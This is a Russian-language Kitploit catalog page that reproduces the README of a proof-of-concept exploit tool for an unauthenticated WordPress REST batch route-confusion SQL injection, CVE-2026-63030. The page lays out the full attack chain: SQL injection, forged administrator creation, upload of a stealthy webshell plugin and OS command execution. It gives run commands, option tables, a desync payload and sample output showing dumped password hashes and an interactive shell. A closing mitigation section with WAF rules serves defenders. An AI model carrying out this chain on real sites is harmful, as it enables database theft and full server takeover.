Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-63030 — CVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection Proof of Concept | Kitploit
Инструменты/GitHubGitHub/ch4120n/cve-2026-63030
Сканеры уязвимостейЭксплуатацияВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubch4120n/cve-2026-63030

CVE-2026-63030

CVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection Proof of Concept

Репозиторий
21 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-63030

WordPress REST Batch Route-Confusion SQL Injection (CVE-2026-63030) — доказательство концепции
Исследование, разработка эксплойта и документация: Ch4120N

CVE Python License Status


⚠️ Правовое уведомление

Этот репозиторий и сопутствующий инструмент (exploit.py) предназначены строго для образовательных целей, авторизованного тестирования на проникновение и исследований в области безопасности.
Использование этого эксплойта против целей без явного, предварительного, письменного согласия незаконно и нарушает законы о компьютерном мошенничестве и злоупотреблениях во всём мире. Автор (Ch4120N) не несёт абсолютно никакой ответственности за неправомерное использование, ущерб или правовые последствия, возникшие в результате использования этого кода. Всегда действуйте в рамках закона и получайте соответствующее разрешение.


📖 Обзор уязвимости: CVE-2026-63030

CVE-2026-63030 — критическая уязвимость без аутентификации, затрагивающая WordPress REST API. Она эксплуатирует ошибку путаницы маршрутов (route-confusion) во вложенной конечной точке пакетной обработки (/wp-json/batch/v1 или /?rest_route=/batch/v1).

Корневая причина

Когда WordPress обрабатывает пакет REST API запросов, он проверяет каждый подзапрос на соответствие его конкретной схеме перед выполнением. Однако из-за недостатка в том, как внутренний указатель маршрутизации обрабатывает намеренно повреждённые пути (например, ///), схема проверки рассинхронизируется с фактическим обработчиком выполнения.

Цепочка атаки

  1. Путаница маршрутов и SQLi: злоумышленник внедряет вложенную пакетную полезную нагрузку. Из-за рассинхронизации запрос, нацеленный на конечную точку /wp/v2/users (которая не принимает author_exclude), выполняется обработчиком /wp/v2/posts. Несанированный параметр author_exclude передаётся напрямую в условие author__not_in в WP_Query, что приводит к неаутентифицированной SQL-инъекции.
  2. Создание администратора до аутентификации: SQLi используется для чтения базы данных и определения ID записей oembed_cache. Затем эксплойт использует полезную нагрузку changeset из Customizer для отравления кэша меню навигации, обманывая WordPress и заставляя его выполнить запрос на создание пользователя в контексте существующего администратора.
  3. Удалённое выполнение кода (RCE): с помощью новосозданной поддельной учётной записи администратора инструмент проходит аутентификацию, загружает PHP-плагин-вебшелл со случайным именем и защитой по токену, выполняет команды ОС и безопасно удаляет все следы.

Затронутые версии

  • WordPress 6.9.0 – 6.9.4
  • WordPress 7.0.0 – 7.0.1 (Примечание: более старые версии могут быть уязвимы в зависимости от конкретных конфигураций плагинов и бэкпортов REST API).

🚀 Возможности

  • Ноль зависимостей: 100% стандартная библиотека Python 3. pip install не требуется.
  • Модульность в одном файле: все компоненты (Client, SQLi, Exploit, Shell, CLI) аккуратно организованы в одном переносимом скрипте (exploit.py).
  • Многотехниковая экстракция SQL: автоматически перебирает доступные методы от самого быстрого:
    1. На основе UNION: внутриполосная экстракция путём создания поддельной строки WP_Post (1 запрос на значение).
    2. На основе ошибок: использует ошибки XPATH функции EXTRACTVALUE(), если включён WP_DEBUG_DISPLAY.
    3. Слепая Boolean/Timing: извлечение символов бинарным поиском с настраиваемыми задержками сна.
  • Автоматический мост до аутентификации: не нужны существующие учётные данные; инструмент на лету создаёт собственную учётную запись администратора.
  • Эфемерный вебшелл: генерирует уникальный идентификатор (slug) плагина и криптографически безопасный токен. Шелл отказывается выполнять команды без токена и самоуничтожается после использования.
  • Автоматическая очистка: автоматически удаляет поддельную учётную запись администратора и каталог плагина-вебшелла при выходе.
  • Интерактивный REPL: предоставляет псевдотерминал, который сохраняет состояние удалённой рабочей директории (поддержка cd).

📦 Установка и требования

Сторонние пакеты не требуются. Убедитесь, что установлен Python 3.8 или выше.

root@kitploit:~
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030

# Make the script executable
chmod +x exploit.py

# Verify Python version
python3 --version
# Executing the script
python3 exploit.py

💻 Подробное использование и параметры

Эксплойт разделён на три основные подкоманды: check, read и shell.

Глобальные параметры

Эти параметры применяются ко всем подкомандам:

1. check — обнаружение уязвимости

Безопасно проверяет цель, чтобы подтвердить наличие маркеров путаницы маршрутов, и тестирует тайминги SQLi без извлечения данных.

2. read — извлечение данных из базы данных

Извлекает данные напрямую из базы данных через SQL-инъекцию.

3. shell — удалённое выполнение кода

Разворачивает вебшелл и выполняет команды. Если учётные данные не предоставлены, автоматически запускает мост создания администратора до аутентификации.


🖥️ Примеры выполнения и доказательства работы

Ниже приведены реальные примеры работы инструмента.

Пример 1: Проверка уязвимости

root@kitploit:~
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli

[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
    - 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.

Пример 2: Извлечение отпечатка базы данных

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union

[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.

Пример 3: Выгрузка учётных данных пользователей

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_

[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
    1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
    2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
    5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.

Пример 4: Получение интерактивного шелла (до аутентификации)

Обратите внимание, как инструмент автоматически создаёт учётную запись администратора, разворачивает шелл и выполняет очистку после выхода.

root@kitploit:~
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive

[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
    Extracting table name...
    Finding source admin ID...
    Seeding oEmbed cache...
    Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php

[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit

[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.

🧠 Технический разбор

Основы рассинхронизации

Ядро эксплойта основано на внедрении _DESYNC_PRIMER = {"method": "POST", "path": "///"}. Этот недопустимый URL заставляет внутреннюю маршрутизацию WordPress сгенерировать WP_Error для первого подзапроса. Это смещает внутренний указатель, из-за чего второй подзапрос проверяется по одной схеме, но выполняется обработчиком третьего подзапроса. Так параметр author_exclude протаскивается в WP_Query.

UNION-примитив с поддельной записью (Fake-Post)

Вместо медленной слепой SQLi инструмент использует UNION SELECT для внедрения полностью сформированной поддельной строки wp_posts. Устанавливая orderby=none и per_page=500, он предотвращает разделение запроса WP_Query. Внедрённый post_title содержит hex-закодированный результат целевого SQL-выражения, обёрнутый в разделители ||, который напрямую отражается в JSON-ответе REST API.

OpSec вебшелла

Развёрнутый PHP-плагин спроектирован для высокой скрытности:

  • Случайные каталог и имя файла (например, wp_a1b2c3d4.php).
  • Требует 32-символьный hex-токен (t) и команду (c) через GET-параметры.
  • Использует hash_equals() для предотвращения атак по времени на токен.
  • Автоматически меняет каталог (chdir), чтобы предотвратить раскрытие пути.
  • Вывод оборачивается в маркеры EXPLOIT::...::END для удобного разбора Python-клиентом.

🛡️ Смягчение и устранение уязвимости

  1. Обновите WordPress: немедленно обновитесь до WordPress 7.0.2 или новее, где содержится исправление для CVE-2026-63030.
  2. Отключите конечную точку пакетной обработки: если пакетная конечная точка явно не требуется, отключите её с помощью must-use плагина (mu-plugins):
    root@kitploit:~
    add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
        if ( $request->get_route() === '/batch/v1' ) {
            return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
        }
        return $response;
    }, 10, 3 );
    
  3. Межсетевой экран для веб-приложений (WAF): реализуйте правила для блокировки:
    • Вложенных запросов /batch/v1, содержащих author_exclude в URI.
    • Запросов, содержащих UNION, SLEEP() или EXTRACTVALUE в параметрах URL.
    • Повреждённых путей, таких как ///, в запросах REST API.
  4. Отключите WP_DEBUG_DISPLAY: убедитесь, что в wp-config.php для установлено значение , чтобы предотвратить утечку данных через error-based SQLi.

📜 Авторы и благодарности

  • Исследование уязвимости и разработка эксплойта: Ch4120N
  • Вдохновение для концепции: путаница маршрутов WordPress REST API, отравление кэша oEmbed и примитивы изменений Customizer (changeset).

«С большой силой приходит большая ответственность. Используйте эти знания, чтобы защищать, а не разрушать.»
— Ch4120N

Скачать инструмент
OptionDescriptionDefault
urlЦелевой базовый URL (например, http://target.com)Обязательно
--rest-routeИспользовать /?rest_route=/batch/v1 вместо /wp-json/batch/v1 (для сайтов с отключёнными постоянными ссылками).False
--timeoutТаймаут HTTP-запроса в секундах.30.0
--proxyHTTP/HTTPS прокси (например, http://127.0.0.1:8080).None
OptionDescriptionDefault
--sleepЗадержка SQL-тайминга (секунды), используемая запасным методом --confirm-sqli.3.0
--samplesКоличество тестируемых пар базовых/задержанных SQL-таймингов.3
--confirm-sqliОтправить активную полезную нагрузку для подтверждения SQLi (добавляет небольшую задержку).False
OptionDescriptionDefault
--presetБыстрые пресеты извлечения: fingerprint (версия/пользователь/БД) или users (логины/хеши).fingerprint
--queryВыполнить пользовательское скалярное SQL-выражение (например, "SELECT @@version").None
--prefixПрефикс таблиц базы данных.wp_
--max-lengthМаксимальное количество извлекаемых символов на значение.128
--techniqueТехника извлечения: auto, union, error или blind.auto
OptionDescriptionDefault
--userИмя пользователя администратора. (Опустите, чтобы использовать мост до аутентификации).None
--passwordПароль администратора. (Опустите, чтобы использовать мост до аутентификации).None
--cmdОдна команда для выполнения на цели.None
-i, --interactiveОткрыть интерактивный шелл (REPL) после развёртывания.False
WP_DEBUG_DISPLAY
false